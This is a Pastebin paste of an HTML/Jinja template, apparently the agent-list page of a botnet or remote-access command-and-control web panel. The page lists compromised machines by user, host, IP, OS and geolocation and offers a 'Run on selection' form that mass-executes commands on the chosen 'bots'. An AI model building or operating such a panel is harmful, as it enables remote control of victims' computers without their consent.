Advertisement
FlyFar

server/webui/templates/agent_list.html

Jan 13th, 2024
799
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 2.17 KB | Cybersecurity | 0 0
  1. {% with previous_page=url_for('webui.index'), title="Agent list" %}
  2. {% include "header.html" %}
  3. {% endwith %}
  4.  
  5. <div class="container">
  6.   <section id="main_content">
  7.  
  8.       <form method="post" action="{{ url_for('api.mass_execute') }}">
  9.       <input type="text" name="cmd" id="cmd" style="width:50%" />
  10.       <input type="submit" name="execute" value="Run on selection" />
  11.       <input type="submit" name="delete" value="Delete selection" onclick="return confirm('Remove selected agents from list ?')"/>
  12.  
  13.       <table>
  14.       <tr><th>Name</th><th>Last Online</th><th>User</th><th>Host</th><th>IP</th><th>OS</th><th>Geolocation</th><th>Change name</th><th>Sel.</th></tr>
  15.       {% for agent in agents %}
  16.       <tr>
  17.         <td><a href="{{ url_for('webui.agent_detail', agent_id=agent.id) }}" style="text-decoration: none">{{agent.display_name}}</a>  </td>
  18.         <td>{% if agent.last_online %}{% if agent.is_online() %}ONLINE{%else%}{{agent.last_online.strftime('%Y/%m/%d %H:%M')}}{%endif%}{% endif %}</td>
  19.         <td>{{agent.username}}</td>
  20.         <td>{{agent.hostname}}</td>
  21.         <td>{{agent.remote_ip}}</td>
  22.         <td>{{agent.operating_system}}</td>
  23.         <td>{{agent.geolocation}}</td>
  24.         <td><a href="#" onclick="changeName('{{agent.id}}', '{{agent.display_name}}')" style="text-decoration: none">Change name</a></td>
  25.         <td><input type="checkbox" id="checkbox_{{agent.id}}" name="selection" value="{{agent.id}}" /></td>
  26.       {% endfor %}
  27.       </table>
  28.       </form>
  29.   </section>
  30. </div>
  31.  
  32. <script src="https://code.jquery.com/jquery-2.1.4.min.js"></script>
  33. <script>
  34. function changeName(agentid, name) {
  35.     var newname = prompt("New name", name);
  36.     $.post("{{ url_for('webui.rename_agent') }}", {'newname': newname, 'id': agentid}, function() {window.location.reload();});
  37. }
  38.  
  39. function keypressed(e){
  40.     if(e.keyCode === 13){
  41.         send_command();
  42.     }
  43.     return false;
  44. }
  45. function send_command(e) {
  46.     if(!$(".botid:checked").length){
  47.       alert('Please select at least one bot !');
  48.       return;
  49.     }
  50.     $(".botid:checked").each(function(){
  51.      
  52.     });
  53.     $('#cmd').val('');
  54.     return false;
  55. }
  56. </script>
  57.  
  58. {% include "footer.html" %}
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement